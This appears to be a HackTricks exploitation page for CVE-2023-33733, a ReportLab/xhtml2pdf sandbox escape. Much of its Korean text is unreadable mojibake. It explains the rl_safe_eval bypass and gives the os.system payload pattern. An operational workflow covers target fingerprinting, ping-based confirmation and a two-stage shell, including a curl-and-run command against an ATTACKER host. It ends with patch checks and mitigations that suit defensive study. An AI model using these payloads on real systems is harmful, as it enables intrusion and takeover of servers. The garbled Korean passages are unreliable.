ReportLab/xhtml2pdf [[[โฆ]]] ํํ์ ํ๊ฐ RCE (CVE-2023-33733)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ํ์ด์ง๋ ReportLab์ rl_safe_eval์์ ๋ฐ์ํ๋ ์ค์ฉ์ ์ธ ์๋๋ฐ์ค ํ์ถ ๋ฐ RCE ์๋จ์ ๋ฌธ์ํํฉ๋๋ค. ์ด ์ทจ์ฝ์ ์ xhtml2pdf ๋ฐ ๊ธฐํ PDF ์์ฑ ํ์ดํ๋ผ์ธ์์ ์ฌ์ฉ์ ์ ์ด HTML์ PDF๋ก ๋ ๋๋งํ ๋ ์ ์ฉ๋ ์ ์์ต๋๋ค.
CVE-2023-33733์ ReportLab 3.6.12๊น์ง(ํฌํจ) ์ํฅ์ ๋ฏธ์นฉ๋๋ค. ํน์ ์์ฑ ์ปจํ ์คํธ(์: color)์์ [[[ โฆ ]]]๋ก ๊ฐ์ผ ๊ฐ์ rl_safe_eval์ ์ํด ์๋ฒ ์ธก์์ ํ๊ฐ๋ฉ๋๋ค. ํ์ดํธ๋ฆฌ์คํธ๋ builtin(pw)์์ ์์ํด ํด๋น Python ํจ์์ globals๋ก ํผ๋ฒํ๋ ํ์ด๋ก๋๋ฅผ ๋ง๋ค๋ฉด, ๊ณต๊ฒฉ์๋ os ๋ชจ๋์ ์ ๊ทผํด ๋ช ๋ น์ ์คํํ ์ ์์ต๋๋ค.
Key points
- Trigger: inject [[[ โฆ ]]] into evaluated attributes such as within markup parsed by ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose globals.
- Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string โglobalsโ while avoiding blocked dunder filtering.
- RCE:
getattr(pow, Word('__globals__'))['os'].system('<cmd>') - Stability: Return a valid value for the attribute after execution (for color, use and โredโ).
When to test
- Applications that expose HTML-to-PDF export (profiles, invoices, reports) and show xhtml2pdf/ReportLab in PDF metadata or HTTP response comments.
- exiftool profile.pdf | egrep โProducer|Title|Creatorโ โ โxhtml2pdfโ producer
- HTTP response for PDF often starts with a ReportLab generator comment
How the sandbox bypass works
- rl_safe_eval removes or replaces many builtins (getattr, type, pow, โฆ) and applies name filtering to deny attributes starting with __ or in a denylist.
- However, safe functions live in a globals dictionary accessible as func.globals.
- Use type(type(1)) to recover the real builtin type function (bypassing ReportLabโs wrapper), then define a Word class derived from str with mutated comparison behavior so that:
- .startswith(โโ) โ always False (bypass name startswith(โโ) check)
- .eq returns False only at first comparison (bypass denylist membership checks) and True afterwards (so Python getattr works)
- .hash equals hash(str(self))
- With this, getattr(pow, Word(โglobalsโ)) returns the globals dict of the wrapped pow function, which includes an imported os module. Then:
['os'].system('<cmd>').
Minimal exploitation pattern (attribute example) Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and โredโ.
- The list-comprehension form allows a single expression acceptable to rl_safe_eval.
- The trailing and โredโ returns a valid CSS color so the rendering doesnโt break.
- Replace the command as needed; use ping to validate execution with tcpdump.
Operational workflow
- Identify PDF generator
- PDF Producer shows xhtml2pdf; HTTP response contains ReportLab comment.
- Find an input reflected into the PDF (e.g., profile bio/description) and trigger an export.
- Verify execution with low-noise ICMP
- Run:
sudo tcpdump -ni <iface> icmp - Payload: โฆ
system('ping <your_ip>')โฆ - Windows often sends exactly four echo requests by default.
- Establish a shell
- For Windows, a reliable two-stage approach avoids quoting/encoding issues:
- Stage 1 (download):
- Stage 2 (execute):
- For Linux targets, similar two-stage with curl/wget is possible:
- system(โcurl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/sโ)
Notes and tips
- Attribute contexts: color is a known evaluated attribute; other attributes in ReportLab markup may also evaluate expressions. If one location is sanitized, try others rendered into the PDF flow (different fields, table styles, etc.).
- Quoting: Keep commands compact. Two-stage downloads drastically reduce quoting and escaping headaches.
- Reliability: If exports are cached or queued, slightly vary the payload (e.g., random path or query) to avoid hitting caches.
Patch status (2024โ2025) and identifying backports
- 3.6.13 (27 Apr 2023) rewrote
colors.toColorto an AST-walk parser; newer 4.x releases keep this path. Forcingrl_settings.toColorCanUsetorl_safe_evalorrl_extended_literal_evalre-enables the vulnerable evaluator even on current versions. - Several distributions ship backported fixes while keeping version numbers such as 3.6.12-1+deb12u1; do not rely on the semantic version alone. Grep
colors.pyforast.parseor inspecttoColorat runtime to confirm the safe parser is in use (see quick check below). - Quick local check to see whether the AST-based fix is present:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY
์ํ ๋ฐ ํ์ง
- ReportLab์ 3.6.13 ์ด์์ผ๋ก ์ ๊ทธ๋ ์ด๋ํ์ธ์ (CVE-2023-33733 ์์ ๋จ). ๋ฐฐํฌํ ํจํค์ง์ ๋ณด์ ๊ถ๊ณ ๋ ์ถ์ ํ์ธ์.
- ์๊ฒฉํ ์ ๋ ฅ ๊ฒ์ฆ ๋ฐ ์ ํ(sanitization) ์์ด ์ฌ์ฉ์ ์ ์ด HTML/๋งํฌ์ ์ xhtml2pdf/ReportLab์ ์ง์ ์ ๋ฌํ์ง ๋ง์ธ์. ์ ๋ ฅ์ด ์ ๋ขฐํ ์ ์๋ ๊ฒฝ์ฐ [[[โฆ]]] ํ๊ฐ ๊ตฌ๋ฌธ๊ณผ ๊ณต๊ธ์ ์ฒด ์ ์ฉ ํ๊ทธ๋ฅผ ์ ๊ฑฐ/์ฐจ๋จํ์ธ์.
- ์ ๋ขฐํ ์ ์๋ ์ ๋ ฅ์ ๋ํด rl_safe_eval ์ฌ์ฉ์ ์์ ํ ๋นํ์ฑํํ๊ฑฐ๋ ๋ํํ๋ ๊ฒ์ ๊ณ ๋ คํ์ธ์.
- PDF ์์ฑ ์ค์ ์์ฌ์ค๋ฌ์ด ์์๋ฐ์ด๋ ์ฐ๊ฒฐ์ ๋ชจ๋ํฐ๋งํ์ธ์(์: ๋ฌธ์ ๋ด๋ณด๋ด๊ธฐ ์ ์ฑ ์๋ฒ์์ ๋ฐ์ํ๋ ICMP/HTTP).
References
- PoC ๋ฐ ๊ธฐ์ ๋ถ์: c53elyas/CVE-2023-33733
- 0xdf University HTB write-up (์ค์ ๊ณต๊ฒฉ ์ฌ๋ก, Windows 2๋จ๊ณ ํ์ด๋ก๋): HTB: University
- NVD ํญ๋ชฉ(์ํฅ ๋ฒ์ ): CVE-2023-33733
- xhtml2pdf ๋ฌธ์(๋งํฌ์ /ํ์ด์ง ๊ฐ๋ ): xhtml2pdf docs
- ReportLab 3.6.13 ๋ฆด๋ฆฌ์ค ๋ ธํธ (toColor์ AST ์ฌ์์ฑ): Whatโs New in 3.6.13
- Debian ๋ณด์ ํธ๋์ปค(๋ง์ด๋ ๋ฒ์ ์ ๋ณ๊ฒฝ๋์ง ์์ ์ฑ ๋ฐฑํฌํธ๋ ์์ ์ฌํญ ํ์): Debian tracker CVE-2023-33733
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


